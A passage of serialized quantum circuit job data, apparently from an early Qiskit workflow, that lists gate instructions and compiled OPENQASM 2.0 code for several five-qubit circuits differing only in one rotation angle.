[]}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1249', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1251', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1253', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1255', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 